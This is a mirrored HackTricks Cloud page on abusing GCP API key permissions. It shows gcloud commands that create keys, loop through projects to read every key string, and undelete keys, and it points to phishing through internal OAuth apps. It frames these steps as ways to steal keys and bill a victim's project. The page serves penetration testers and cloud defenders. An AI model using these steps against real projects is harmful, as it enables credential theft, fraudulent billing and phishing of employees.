mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-23 07:29:04 -08:00
106 lines
5.9 KiB
Markdown
106 lines
5.9 KiB
Markdown
# GCP - Apikeys Privesc
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Apikeys
|
|
|
|
The following permissions are useful to create and steal API keys, not this from the docs: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
|
|
|
|
Therefore, with an API key you can make that company pay for your use of the API, but you won't be able to escalate privileges.
|
|
|
|
For more information about API Keys check:
|
|
|
|
{% content-ref url="../gcp-services/gcp-api-keys-enum.md" %}
|
|
[gcp-api-keys-enum.md](../gcp-services/gcp-api-keys-enum.md)
|
|
{% endcontent-ref %}
|
|
|
|
For other ways to create API keys check:
|
|
|
|
{% content-ref url="gcp-serviceusage-privesc.md" %}
|
|
[gcp-serviceusage-privesc.md](gcp-serviceusage-privesc.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
|
|
|
As you might not know which APIs are enabled in the project or the restrictions applied to the API key you found, it would be interesting to run the tool [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) and check **what you can access with the API key.**
|
|
|
|
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
|
|
|
This permission allows to **create an API key**:
|
|
|
|
```bash
|
|
gcloud services api-keys create
|
|
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
|
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
|
"createTime":"2022-01-26T12:23:06.281029Z",
|
|
"etag":"W/\"HOhA[...]==\"",
|
|
"keyString":"AIzaSy[...]oU",
|
|
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
|
"uid":"f707[...]e8",
|
|
"updateTime":"2022-01-26T12:23:06.378442Z"
|
|
}
|
|
```
|
|
|
|
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
|
|
|
|
{% hint style="danger" %}
|
|
Note that by default users have permissions to create new projects adn they are granted Owner role over the new project. So a user could c**reate a project and an API key inside this project**.
|
|
{% endhint %}
|
|
|
|
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
|
|
|
These permissions allows **list and get all the apiKeys and get the Key**:
|
|
|
|
```bash
|
|
for key in $(gcloud services api-keys list --uri); do
|
|
gcloud services api-keys get-key-string "$key"
|
|
done
|
|
```
|
|
|
|
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
|
|
|
|
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
|
|
|
These permissions allow you to **list and regenerate deleted api keys**. The **API key is given in the output** after the **undelete** is done:
|
|
|
|
```bash
|
|
gcloud services api-keys list --show-deleted
|
|
gcloud services api-keys undelete <key-uid>
|
|
```
|
|
|
|
### Create Internal OAuth Application to phish other workers
|
|
|
|
Check the following page to learn how to do this, although this action belongs to the service **`clientauthconfig`** [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
|
|
|
{% content-ref url="../../workspace-security/gws-google-platforms-phishing/" %}
|
|
[gws-google-platforms-phishing](../../workspace-security/gws-google-platforms-phishing/)
|
|
{% endcontent-ref %}
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|